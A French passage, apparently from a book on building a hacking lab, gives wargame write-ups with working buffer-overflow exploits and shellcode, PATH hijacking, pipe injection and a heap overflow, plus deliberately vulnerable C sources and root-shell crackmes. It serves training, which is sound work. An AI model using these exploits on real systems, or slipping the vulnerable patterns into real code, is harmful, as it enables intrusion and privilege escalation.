val: 0xdeadbeef
cat /home/level2/.passwd
HP9u76th
D
level1@vm_bof:/wargame$ su - level2
Nous voyons ici le mot de passe pour passer au level suivant (cest le mot de passe que nous
aurons crit dans le fichier .passwd de lutilisateur level2.
level2
Nous avons donc un programme qui va excuter simplement ce qui est situ dans une variable
denvironnement. Nous allons donc devoir mettre dans une variable denvironnement appele
ici EGG un shellcode que nous pouvons trouver sur le web qui lance un /bin/sh. Cela na
rien de bien compliqu par rapport dautres challenges que lon peut trouver.
Voici donc comment lexploiter.
Pour exploiter ce programme, le shellcode donn par Wikipdia est amplement suffisant
(cherchons grce Google shellcode wikipedia et nous tomberons sur des shellcodes que
nous pourrons utiliser :
level2@vm_bof:/wargame$ EGG=`printf
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff/bin/sh`
level2@vm_bof:/wargame$ export EGG
level2@vm_bof:/wargame$ ./level2
Trying to execute EGG!
sh-3.1$ id
uid=1002(level2) gid=1002(level2) euid=1003(level3)
groups=1002(level2)
sh-3.1$ cat /home/level3/.passwd
HHTYgtfr76y
Nous plaons donc le shellcode dans une variable que nous appelons EGG quil faut ensuite
exporter.
Il nous suffit ensuite de lancer le level2.
level3
Lexploitation semble moins simple : nous sommes en prsence de la fonction strcpy qui va
dupliquer dans un buffer de taille fixe (128 octets) le contenu de ce qui est pass en argument
au programme, et qui donc peut faire plus de 128 octets.
Nous pouvons donc craser une partie de la mmoire avec le contenu du buffer, buffer que
nous matrisons.
Contrairement level1 par exemple, aucune variable nest remplacer ; nous allons donc
essayer de dtourner le flux dexcution du programme.
Le programme va appeler strcpy, puis faire appel printf.
Nous allons essayer de dtourner le flux du programme en lui faisant appeler autre chose que
le printf initialement prvu.
Voyons concrtement la technique utiliser ici.
Nous allons comme dans le level2 mettre notre shellcode dans une variable denvironnement,
trouver son adresse en mmoire et lexcuter la place du printf.
Pour cela, il ne faut pas que la machine fasse de la randomization de mmoire, cest--dire
une attribution dadresses alatoires.
Nous allons donc vrifier cela :
level3@vm_bof:/tmp/aaa$ cat /proc/sys/kernel/randomize_va_space
0
La variable randomize_va_space est 0, ce qui indique que nous navons pas de
randomisation.
Nous allons donc rutiliser le shellcode du level2 :
level3@vm_bof:/tmp/aaa$ EGG=`printf
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff/bin/sh`
level3@vm_bof:/tmp/aaa$ export EGG
Nous pouvons crire un programme permettant de connatre ladresse du shellcode. Nous
devons placer ce programme dans le rpertoire /tmp, pour lequel nous avons le droit en
criture.
Voici un programme crit en C issu du web que nous avons adapt notre shellcode (surtout
la variable EGG) :
level3@vm_bof:/tmp/aaa$ cat envenv.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void){
char *p = NULL;
p = getenv("EGG");
printf("@EGG= %p\r\n", p);
return 0;
}
level3@vm_bof:/tmp/aaa$ make envenv
cc envenv.c -o envenv
level3@vm_bof:/tmp/aaa$ /tmp/aaa/envenv
@EGG= 0xbffffc48
Il est ncessaire que le nom du programme calculant ladresse ait la mme longueur que le
programme victime : "/wargame/level3" = "/tmp/aaa/envenv". Cest pourquoi nous mettrons
notre programme dans un rpertoire que nous crerons et que nous appellerons aaa et ce dans
/tmp. En effet, ce nom est enregistr dans la mmoire du processus (argv[0]), dcalant ainsi
ladresse de la variable denvironnement.
Nous devons maintenant aller faire un tour du ct du debugger gdb afin de trouver ladresse
de retour de la fonction strcmpy.
Quelques essais avec gdb (en modifiant le nombre de a ) donnent la solution :
(gdb) r `python -c "print a*200"`
Starting program: /wargame/level3 `python -c "print a*200"`

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) info reg
eax 0x0 0
ecx 0xb7fe0434 -1208089548
edx 0xb7fe1448 -1208085432
ebx 0xb7fdfff4 -1208090636
esp 0xbffffa10 0xbffffa10
ebp 0x61616161 0x61616161
esi 0x0 0
edi 0xb8000cc0 -1207956288
eip 0x61616161 0x61616161
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
force de tests, nous observons que lEIP est cras partir du 140
e
caractre entr.
LEIP (Extender Instruction Pointer) est le pointeur dinstruction. Quand une instruction est
en cours dexcution, EIP contient ladresse de la prochaine instruction excuter.
Le programme choue ici (SIGSEGV) car nous avons cras EIP avec la valeur 0x61616161.
Ladresse du shellcode est 0xbffffc48, ce qui donne \x48\xfc\xff\xbf car les adresses
scrivent lenvers (ladressage est de type little endian).
Maintenant que nous avons toutes les informations disponibles, nous pouvons exploiter le
programme :
level3@vm_bof:/tmp/aaa$ /wargame/level3 `python -c "print
A*140+\x48\xfc\xff\xbf"`
sh-3.1$ cat /home/level4/.passwd
jhR5Drz4r
sh-3.1$ exit
level3@vm-bof:/tmp/aaa$ su - level4
Password:
level4@narnia:~$
strcpy copie le buffer et crase EIP avec une adresse. Le programme continue sur cette
adresse, contenant un shellcode do lexcution de ce dernier.
level4
Le programme est assez simple comprendre. Il prend en entre un fichier de nom ifile et
ayant en file descriptor ifd, et le copie en sortie dans le fichier de nom /dev/null ayant comme
file descriptor ofd.
Nous sommes donc trs proches de lexploitation level1.
Dans la mmoire, nous allons trouver de manire contigu ifile, qui fait une taille de 32 octets,
et ofile.
Nous pourrons donc crire plus de 32 octets dans ifile et arriver dans ofile pour lcraser.
Nous pourrons alors changer le nom du fichier de sortie.
Il faut donc un fichier dentre pointant vers le mot de passe de level5 ; nous allons passer par
un lien symbolique qui pointera vers le fichier voulu (.passwd). Ce nom de fichier doit faire
plus de 32 caractres. Les caractres au-del du trente-deuxime caractre doivent
correspondre dune part un fichier existant et dautre part un fichier dans lequel level5
peut crire.
Quelques commandes UNIX permettent daboutir au mot de passe sans trop de souci :
level4@vm_bof:/wargame$ cd /tmp
level4@vm_bof:/tmp$ ln -s /home/level5/.passwd
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
level4@vm_bof:/tmp$ touch aaaaaaaa
level4@vm_bof:/tmp$ chmod 666 aaaaaaaa
level4@vm_bof:/tmp$ /wargame/level4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a
safer place...
(aaaaaaaa)
level4@vm_bof:/tmp$ cat aaaaaaaa
WhT8y75tP
(none)_level4@vm_bof:/tmp$ su - level5
Nous commenons donc par nous placer dans le rpertoire /tmp.
Nous crons ensuite un lien symbolique entre /home/level5/.passwd et un nom de fichier , soit
ici aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa . Ce fichier fait 32 + 8 octets donc 40 a
.
Le nom du fichier cras dans ofile sera donc aaaaaaaa .
Il faut donc crer ce fichier car il doit exister.
Nous le crons grce la commande touch et lui donnons les droits en lecture/criture.
Quand nous excutons le programme en donnant comme fichier les 40 a, cest en fait
/home/level5/.passwd qui est le fichier dentre et le contenu sera crit dans le fichier
aaaaaaaa.
Nous pouvons donc lire le contenu de ce fichier qui contiendra le mot de passe du niveau
suivant.
level5
Nous ne pouvons pas ici utiliser de variable denvironnement pour placer notre shellcode
comme dans certaines preuves prcdentes car elles sont toutes crases et remplies par des
zros.
Nous avons une chane que lon matrise, argv[1].
Cette chane, au-del dun certain seuil, va dborder de son buffer. Dans le level3 nous avons
rempli de manire arbitraire la chane avec des a (ce que lon appelle le bourrage ) pour
craser EIP avec ladresse de notre variable denvironnement contenant le shellcode.
Il va falloir que nous mettions le shellcode ailleurs que dans une variable denvironnement.
Nous avons suffisamment de place dans la chane elle-mme !
Le paramtre argv[1] va donc contenir un shellcode, des caractres de bourrage, puis une
adresse pointant vers le shellcode. Cette adresse va craser EIP, et le shellcode va donc
sexcuter.
Le but est donc de placer notre shellcode dans largument lui-mme, de trouver son adresse en
mmoire et de placer cette adresse dans EIP.
argv[1] vaudra donc : shellcode+bourrage+adresse.
Le plus gros problme consiste trouver ladresse de ce shellcode.
Nous pouvons plutt utiliser comme argv[1] : bourrage+shellcode+adresse. Le bourrage tant
par nature arbitraire, nous allons employer des \x90. \x90 en assembleur 8086, cest le NOP,
cest--dire : ne fait rien et passe linstruction suivante .
Cette instruction NOP est trs frquemment utilise dans les shellcode afin davoir une plage
dadresse utilisable au lieu davoir exactement ladresse du shellcode.
Lexcution enchanera les NOP jusqu excuter notre shellcode.
Nous devons donc trouver la taille de NOP(s)+shellcode+adresse afin dcraser et de
remplacer ladresse contenue dans EIP par la ntre. gdb va nous y aider :
level5@vm_bof:/wargame$ ./level5 `python -c "print a*200"`
Segmentation fault
level5@vm_bof:/wargame$ ./level5 `python -c "print a*128"`
Segmentation fault
level5@vm_bof:/wargame$ ./level5 `python -c "print a*100"`
level5@vm_bof:/wargame$ ./level5 `python -c "print a*120"`
level5@vm_bof:/wargame$ ./level5 `python -c "print a*124"`
Illegal instruction
level5@vm_bof:/wargame$
Nous commenons donc, par ttonnements, par essayer de trouver ce nombre.
Nous crasons donc 124, vrifi par :
level5@vm_bof:/wargame$ gdb /wargame/level5
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License,
and you are welcome to change it and/or distribute copies of
it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i486-linux-gnu"...Using host
libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) run `python -c "print a*124+AAAA"`
Starting program: /wargame/level5 `python -c "print a*124+AAAA"`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Nous voyons ici que le programme essaie de retourner ladresse 0x41414141 qui ne
correspond rien do lerreur Segmentation fault .
Si maintenant nous regardons le contenu des registres, nous obtenons :
(gdb) info reg
eax 0x0 0
ecx 0xfffffe07 -505
edx 0xbffffc4a -1073742774
ebx 0xb7fdfff4 -1208090636
esp 0xbffffa50 0xbffffa50
ebp 0x61616161 0x61616161
esi 0x0 0
edi 0xb8000cc0 -1207956288
eip 0x41414141 0x41414141
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
Nous avons bien nos a (\x61 dans EBP) et nos A (\x41 dans EIP).
Nous pouvons de plus regarder vers quelle adresse se situe notre argv[1].
Linconvnient est que cette adresse ne correspondra pas ladresse du programme lanc sans
gdb. En effet, gdb lui aussi est en mmoire et dcale donc lensemble des adresses du
programme (la vritable adresse sera donc suprieure en valeur).
Nous allons observer la RAM pour avoir notre premire approximation :
(gdb) x/60x $esp-180
0xbffff99c: 0x0804850f 0xbffff9d0 0xbffffbc9 0x00000021
0xbffff9ac: 0x00003638 0x00000000 0x00000000 0x00000000
0xbffff9bc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9cc: 0x00000011 0x61616161 0x61616161 0x61616161
0xbffff9dc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff9ec: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff9fc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa0c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa1c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa2c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa3c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa4c: 0x41414141 0x00000000 0xbffffac4 0xbffffad0
0xbffffa5c: 0x00000000 0xb7fdfff4 0x00000000 0xb8000cc0
0xbffffa6c: 0xbffffa98 0xbffffa50 0xb7ec7e6d 0x00000000
0xbffffa7c: 0x00000000 0x00000000 0xb7ff6090 0xb7ec7ded
Donc vers 0xbffff9dc, nous arrivons dans argv[1].
Nous pouvons donc construire notre argv[1]. La taille complte doit faire 128 octets. Le
shellcode trouv sur Wikipdia fait 45 octets. La chane est construite avec :
79xNOP+Shellcode+adresse (sur 4 octets)=128 octets.
Nous allons donc tenter diffrentes adresses.
La premire adresse que nous allons tenter sera 0xbffff9dc, cette dernire ne fonctionnera
vraisemblablement pas, sauf si gdb a dcal moins de 79 octets, nombre qui correspond nos
NOP. Ensuite, nous allons tenter la mme adresse plus 79 octets, plus 79 octets une seconde
fois, etc. jusqu tomber sur nos NOP (79 en dcimal correspond 0x4f en hexadcimal) :
0xbffff9dc+0x4f=0xBFFFFA2B puis BFFFFA7A puis BFFFFB18 puis etc.
level5@vm_bof:/wargame$ ./level5 `python -c "print
\x90*79+\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\
xcd\x80\xe8\xdc\xff\xff\xff+/bin/sh+\xdc\xf9\xff\xbf"`
Segmentation fault
level5@vm_bof:/wargame$ ./level5 `python -c "print
\x90*79+\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\
xcd\x80\xe8\xdc\xff\xff\xff+/bin/sh+\x2b\xfa\xff\xbf"`
sh-3.1$ cat /home/level6/.passwd
Bg8htOO96
sh-3.1$ exit
level5@vm_bof:/wargame$ su - level6
Password:
level6@vm_bof:~$
La premire erreur de segmentation (segfault) est attendue. Ensuite, nous avanons de 79
octets et nous arrivons quelque part dans les NOP, ce qui nous montre bien lefficacit de
mettre les NOP avant le shellcode. Si le shellcode tait en premire position, nous aurions d
monter les adresses octet par octet pour trouver la bonne adresse.
Conditions gnrales d'utilisation
Copyright - Editions ENI
Accueil Prcdent
dos_santos_fabian@hotmail.be Livres gratuits

Hacking - Un labo virtuel pour auditer et mettre en place des contre-mesures
Sommaire
Informations gnrales
o Titre, auteur...
Introduction
o Introduction
Proxmox
o Prsentation
o Installation
o Configuration
o Conclusion
Machines virtuelles et services
o Introduction
o Serveur DHCP
o OpenVPN
o Serveur FTP
o Serveur web
o Serveur Asterisk
o Nagios
o Conclusion
Mise en place des preuves
o Introduction
o Cration de cinq preuves applicatives
o Cration de cinq preuves logiques
o Cration d'preuves crakme
o Cration des preuves web
Plateformes dentranement
Le matriel indispensable
Cration de cinq preuves logiques
La mthode est la mme que prcdemment. Nous devons dabord crer une nouvelle
machine virtuelle puis crer les utilisateurs, le dossier /wargame et donner les droits aux
fichiers qui suivent.
1. preuve level1
La cration de la premire preuve est simple : nous crons un fichier dans /home/level1 qui
se nommera .backup et dans lequel nous inscrirons le mot de passe de level2.
2. preuve level2
Le fichier level2.c est :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define _GNU_SOURCE
#include <unistd.h>

#define COMMAND "/bin/cat "
#define MAX_SIZE 100

void secure( char * str[] )
{
char * replace;
unsigned int i;
char dangerous[] = "#&;`\"*?<>()[]{}$,\t\n ";

/* No absolute path */
while( *str[0] == / )
{
(*str)++;
}

/* No directory traversal */
while( (replace = strstr(*str, "../")) )
{
replace[1] = /;
}

/* No shell special chars */
for( i=0; i<strlen(dangerous); i++ )
{
while( (replace = strchr(*str, dangerous[i])) )
{
replace[0] = _;
}
}
}

int main( int argc, char ** argv )
{
char mycat[ strlen(COMMAND) + MAX_SIZE + 1 ] = {0};

setresuid(geteuid(),geteuid(),geteuid());

if( argc < 2 )
{
printf( "Usage : %s <file>\n", argv[0] );
exit(1);
}

if( strlen(argv[1]) > MAX_SIZE )
{
printf( "Nom de fichier trop long !\n");
exit(1);
}

secure( &argv[1] );
sprintf(mycat, "%s%s", COMMAND, argv[1]);
system( mycat );

return 0;
}
3. preuve level3
Le fichier level3.c est :
#include <stdlib.h>
#include <stdio.h>
int main(){
system("ls /home/level4/.passwd");
return 0;
}
4. preuve level4
Le fichier level4.c est :
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define PASSFILE "/home/level5/.passwd"
#define MAX_SIZE 100

int main( int argc, char ** argv )
{
FILE * f;
char password[ MAX_SIZE + 1 ] = {0};

if( argc < 2 || (f = fopen(PASSFILE, "r")) == NULL || fgets(password,
MAX_SIZE, f) == NULL )
{
printf("he non !.\n");
exit(1);
}

if( strncmp( argv[1], password, MAX_SIZE ) == 0 )
{
printf("Excellent ! =)\n");
}
}
5. preuve level5
Le fichier level5.c est :
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define SIZE 50
#define CMD "/bin/cat /home/level6/.passwd"

int main()
{
char * buff1 = malloc(SIZE);
char * buff2 = malloc(SIZE);

if( buff1 == NULL || buff2 == NULL )
{
puts("Allocation memoire invalide.");
return 1;
}

gets( buff1 );
free( buff1 );

if( strcmp(buff2, "RMLL2011") == 0 )
{
puts("Bien :)");
system( CMD );
}
else
{
puts("Essai encore...");
}

free(buff2);
return 0;
6. Solution des preuves
level1
Le mot de passe est dans /home/level1/.backup.
level2
./level2 "|sh"
whoami
level3
cat /home/level3/.passwd
Nous remarquons en effectuant diffrents tests que level2 acceptant des arguments, nous
pouvons placer un pipe ( | ) comme argument et donc ensuite un shell, sh par exemple qui
nous fait de suite devenir level3.
De ce fait, nous pouvons aller lire le mot de passe de level3.
level3
Pour exploiter ce niveau, nous allons recrer une commande ls dans le rpertoire /tmp.
Dans ce nouveau fichier ls, nous inscrirons ce que nous voulons faire, cest--dire
cat /home/level4/.passwd.
Nous donnerons ensuite tous les droits (777) ce fichier ls.
Pour terminer, nous mettrons dans le PATH le chemin de ce nouveau ls.
Il nous reste lancer level3. Le systme ira dabord chercher un ls dans le PATH et excutera
notre ls la place du ls systme et excutera donc son contenu soit le cat
/home/level4/.passwd.
cat > /tmp/ls
cat /home/level4/.passwd
chmod 777 /tmp/ls
export PATH="/tmp:$PATH"
./level3
level4
Ce quil fallait remarquer ici, cest labsence de return dans le main.
Nous dsassemblons pour voir ce quil se passe.
(gdb) disass main
0x08048565 <main+225>: mov DWORD PTR [esp+0x4],eax
0x08048569 <main+229>: mov DWORD PTR [esp],edx
0x0804856c <main+232>: call 0x80483b0 <strncmp@plt>
0x08048571 <main+237>: test eax,eax
0x08048573 <main+239>: jne 0x8048581 <main+253>
0x08048575 <main+241>: mov DWORD PTR [esp],0x804866d
0x0804857c <main+248>: call 0x80483a0 <puts@plt>
0x08048581 <main+253>: add esp,0x90
0x08048587 <main+259>: pop ecx
0x08048588 <main+260>: pop edi
0x08048589 <main+261>: pop ebp
0x0804858a <main+262>: lea esp,[ecx-0x4]
0x0804858d <main+265>: ret
Nous remarquons alors que le rsultat de la fonction strncmp est laiss dans eax et retourn
par ret. En regardant le manuel de strncmp, nous pouvons voir que les fonctions strcmp() et
strncmp() renvoient un entier infrieur, gal ou suprieur zro si s1 (ou ses n premiers
octets) est respectivement infrieure, gale ou suprieure s2.
Nous pouvons alors caractre par caractre dduire le mot de passe lu via le code de retour du
programme.
Voici un script qui ralise cette opration :
#!/bin/bash
charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234
56789"
code=`perl -e "print ord(z)"`
pass=""
for i in `seq 16`
do
test="${pass}z"
/home/basic7/passtest "$test"
retcode=`echo $?`
var="`expr $code - $retcode`"
var="`perl -e "print chr("$var")"`"
pass="${pass}${var}"
done
echo $pass
Nous lanons le script et nous obtenons le mot de passe.
basic8@wargame:/tmp/.elz$ sh test.sh
level5
Pour commencer ltude de cette preuve, nous allons donner des arguments au binaire level5
(58 octets).
Nous voyons un message derreur qui saffiche dans gdb.
fasm@moya:~$ python -c "print A*58" | ./level5
*** glibc detected *** ./basic10: free(): invalid next size (fast):
0x0804a008 ***
======= Backtrace: =========
/lib/i686/cmov/libc.so.6[0xb7ef0764]
/lib/i686/cmov/libc.so.6(cfree+0x96)[0xb7ef2966]
./basic10[0x804850a]
/lib/i686/cmov/libc.so.6(__libc_start_main+0xe5)[0xb7e98455]
./basic10[0x8048411]
Nous allons maintenant dsassembler le programme.
(gdb) disass main
(...)
0x08048505 <main+97>: call 0x80483ac <free@plt>
(...)
Nous retrouvons en main+97 la fonction free qui tait la cause de larrt du programme.
Nous plaons un point darrt. Nous relanons ensuite le programme (r) et nous allons
examiner le contenu de la pile (x/x $esp).
Le contenu de esp est ladresse 0x0804a008, nous allons donc voir cette adresse.
(gdb) b *main+97
Breakpoint 1 at 0x8048505

(gdb) r
Starting program: /home/basic10/basic10 AAAA
AAAA

Breakpoint 1, 0x08048505 in main ()
Current language: auto; currently asm

(gdb) x/x $esp
0xbffff8a0: 0x0804a008

(gdb) x/x 0x0804a008
0x804a008: 0x41414141
Nous avons cette adresse 0x41414141, nous crasons donc EIP.
Si nous soustrayons 4 et vrifions le contenu de cette adresse, nous avons 0x39. Nous
pouvons donc crire notre exploit.
(gdb) x/x 0x0804a008-4
0x804a004: 0x00000039
fasm@moya:~$ python -c "import struct; print AAAA*13 +
struct.pack(<I,0x00000039) + RMLL2011" | ./level5
Conditions gnrales d'utilisation
Copyright - Editions ENI
Accueil Prcdent
dos_santos_fabian@hotmail.be Livres gratuits

Hacking - Un labo virtuel pour auditer et mettre en place des contre-mesures
Sommaire
Informations gnrales
o Titre, auteur...
Introduction
o Introduction
Proxmox
o Prsentation
o Installation
o Configuration
o Conclusion
Machines virtuelles et services
o Introduction
o Serveur DHCP
o OpenVPN
o Serveur FTP
o Serveur web
o Serveur Asterisk
o Nagios
o Conclusion
Mise en place des preuves
o Introduction
o Cration de cinq preuves applicatives
o Cration de cinq preuves logiques
o Cration d'preuves crakme
o Cration des preuves web
Plateformes dentranement
Le matriel indispensable
Cration dpreuves crakme
Daprs Wikipdia : Un crackme (littralement "cracke-moi") est un petit programme
destin tester les capacits en rtro-ingnierie dun programmeur. Le but typique dun
crackme est dtre modifi afin que la routine denregistrement de celui-ci fonctionne dans
tous les cas.
Les crackmes (et implicitement les schmas de protections quils utilisent) sont tantt
programms et vus soit comme de simples jeux, soit comme de rels entranements destins
enlever des protections logicielles commerciales.
Nous allons vous montrer ici quelques exemples de crackme que nous pourrons mettre en
tlchargement, par exemple sur le serveur FTP que nous avons cr au chapitre Machines
virtuelles et services.
1. Crackme 1
Un crackme peut tre crit en nimporte quel langage compil. Nous utiliserons le langage C.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* Declaration des constantes */
#define PASSWORD "Mirobolant"
#define SHELL "/bin/bash"
#define MSG "\033[1;31mStarting Root Shell ...Le Pass est
F.scAW8A9jRmk \033[0m\n"

int main (int nb_arg, char *argv[]) {

/* Si nous navons pas au moins un argument en paramtre */
if (nb_arg != 2) {
fprintf(stderr,"Segmentation Fault\n");
exit(1);
}

if (strcmp(PASSWORD, argv[1]) == 0) {

fprintf(stdout,MSG);
setuid(0);
setgid(0);
system(SHELL);
return(0);

} else {

fprintf(stderr,"Segmentation Fault\n");
exit(1);
}
}
Nous enregistrerons ce programme sous un fichier nomm crackme1.c.
Nous devons compiler ce programme et nous ne fournirons, bien sr, que le binaire et non le
programme source.
fasm#gcc -m32 -o crackme1 crackme1.c
fasm#chmod +x crackme1
fasm#chmod +s crackme1
2. preuve crackme2
Le fichier crackme2.c est le suivant :
#include <time.h>
#include <stdlib.h>
#include <stdio.h>

int strcmp(const char *s1, const char *s2) {
int ret = 0;
srand(time(NULL));
int r = rand();

while (!(ret = *(unsigned char *) s1 - *(unsigned char *)
s2) && *s2) {
++s1;
++s2;
int i;
for (i = 0;i < r % 5000; i++){
float j= i % 10 ;
}
}
if (ret < 0)

ret = -1;
else if (ret > 0)

ret = 1 ;
return ret;
}

int main(int argc, char* argv[]){
if (!
strcmp(argv[1],"446476db4b7111d2a2b1c48217ceaa4d7ac28db4c3a68a513
97289c94d6c19fc3854d793cd9a71b4febd783ddfb4649a3d6cc77234c90036c0
570250ca60709f")){
printf("sKTqUx0rfTsWk\n");
return 1;
}

return 0;
}
3. Solution crackme
a. Crackme1
Nous lanons donc gdb afin de dsassembler le programme crackme :
fasm#gdb crackme1


(gdb) set disassembly-flavor intel
(gdb) disassemble main


Nous voyons ici que, avant le strcmp, quelque chose ladresse 0x80486dc est charg dans
esp.
Allons donc voir cette adresse :

Nous voyons que le mot Mirobolant est charg. Testons-le.

Le problme est donc rsolu.
b. Solution crackme2
La solution ici est identique la prcdente, la cl ntant plus une chane de caractres mais
un nombre.

4. Dautres crackmes
Nous pourrons trouver sur Internet une multitude de crackmes disponibles que nous pourrons
mettre disposition sur notre serveur FTP.
Nous pourrons aussi en crer nous-mmes si nous nous en sentons capables soit en C, en C++,
en assembleur... suivant nos gots et envies...
Seule votre imagination pourra vous limiter dans leur cration.
Cration des preuves web
1. Prparation du serveur
Au chapitre Machines virtuelles et services, nous avons vu lensemble des fichiers de
configuration du serveur Apache. Nous avons travaill sur un nouveau fichier nouveau_host
pour vous montrer une configuration possible avec des sous-domaines. Pour la
simplification de lcriture des preuves et pour viter dtre dans un environnement qui
ncessite un DNS, nous allons prendre un fichier de configuration de base. Entrons dans notre
serveur Proxmox, activons la machine WEB1 et copions le fichier de configuration par dfaut.
root@bt:~# ssh root@192.168.1.34
root@192.168.1.34s password:
Linux proxmox 2.6.32-19-pve #1 SMP Mon Mar 18 06:41:32 CET 2013
x86_64

The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr 6 10:42:07 2013
root@proxmox:~# vzctl start 100
Starting container ...
Container is mounted
Setting CPU units: 1000
Setting CPUs: 1
Configure veth devices: veth100.0
Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100
Container start in progress...
root@proxmox:~# vzctl enter 100
entered into CT 100
root@WEB1:/# cp /etc/apache2/sites-available/default
/etc/apache2/sites-available/conf1
root@WEB1:/#
Si nous voulons travailler plusieurs sur des preuves web diffrentes, il peut tre intressant
davoir chacun son dossier personnel contenant un rpertoire www. Il faut alors faire pointer
la racine du serveur Apache sur ce dossier. Comme expliqu au chapitre Installation des
machines virtuelles et des services ncessaires, en travaillant avec des sous-domaines, nous
pourrons faire pointer la racine de chaque VirtualHost des endroits diffrents. Nous
pouvons aussi jouer sur le port dcoute. Ici, nous pourrions nous placer dans un cas plus
simple mais nous laissons cette possibilit pour plus tard. En effet, nous considrons que nous
sommes pour le moment seuls crire des preuves. Effectuons les tches suivantes :
Cration dun utilisateur web.
Cration dun dossier www dans notre dossier personnel.
Changement du user et du group du dossier www.
Changement des droits du dossier www pour que lutilisateur web et le
serveur Apache puissent avoir les droits en lecture et criture.
root@WEB1:/# adduser web
Adding user `web ...
Adding new group `web (1000) ...
Adding new user `web (1000) with group `web ...
The home directory `/home/web already exists. Not copying from
`/etc/skel.
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for web
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] Y
root@WEB1:/# mkdir /home/web/www
root@WEB1:/# chown web.www-data /home/web/www
root@WEB1:/# chmod ug+rw /home/web/www
root@WEB1:/# ls -l /home/web/ -l
total 4
drwxrwxr-x 2 web www-data 4096 Apr 8 07:19 www
root@WEB1:/#
Les preuves seront orientes PHP. Nous avons fait ce choix car cest statistiquement le
langage le plus utilis pour la ralisation de sites web. Voici par exemple une statistique issue
du site W3Techs.com.

PHP est de plus open source et gratuit. Bien entendu, rien ne vous empche dinstaller un
serveur ASP, mais dans ce cas il faudra utiliser une machine virtuelle et non un conteneur, ce
qui vous ferait perdre les avantages dOpenVZ.
Installons le module PHP, qui en est sa version 5.3.3 au moment de lcriture de ces lignes.
root@WEB1:/# aptitude install php5
The following NEW packages will be installed:
apache2-mpm-prefork{ab} libapache2-mod-php5{a} libonig2{a}
libqdbm14{a} php5 php5-cli{a} php5-common{a}
php5-suhosin{a}
0 packages upgraded, 8 newly installed, 0 to remove and 0 not
upgraded.
Need to get 6663 kB of archives. After unpacking 17.3 MB will be
used.
The following packages have unmet dependencies:
apache2-mpm-prefork: Conflicts: apache2-mpm which is a virtual
package.
apache2-mpm-worker: Conflicts: apache2-mpm which is a virtual
package.
Internal error: found 2 (choice -> promotion) mappings for a
single choice.
The following actions will resolve these dependencies:

Remove the following packages:
1) apache2-mpm-worker

Accept this solution? [Y/n/q/?] Y
Pour certaines preuves web, nous allons devoir avoir un accs une base de donnes. Nous
choisissons dinstaller MySQL en version 5.1.
root@WEB1:/# aptitude install mysql-server-5.1
The following NEW packages will be installed:
libdbd-mysql-perl{a} libdbi-perl{a} libhtml-template-perl{a}
libmysqlclient16{a} libnet-daemon-perl{a}
libplrpc-perl{a} mysql-client-5.1{a} mysql-common{a}
mysql-server-5.1 mysql-server-core-5.1{a} psmisc{a}
0 packages upgraded, 11 newly installed, 0 to remove and 0 not
upgraded.
Need to get 23.4 MB of archives. After unpacking 55.7 MB will
be used.
Do you want to continue? [Y/n/?] Y
Lors de cette installation, il faudra dfinir le mot de passe pour lutilisateur root de la base de
donnes.

Il ne nous reste plus qu installer quelques modules PHP qui nous seront utiles, comme le
module php-mysql pour laccs la base de donnes, et le module php-gd pour la
construction de CAPTCHA.
root@WEB1:/# apritude install php5-mysql
root@WEB1:/# aptitude install php5-gd
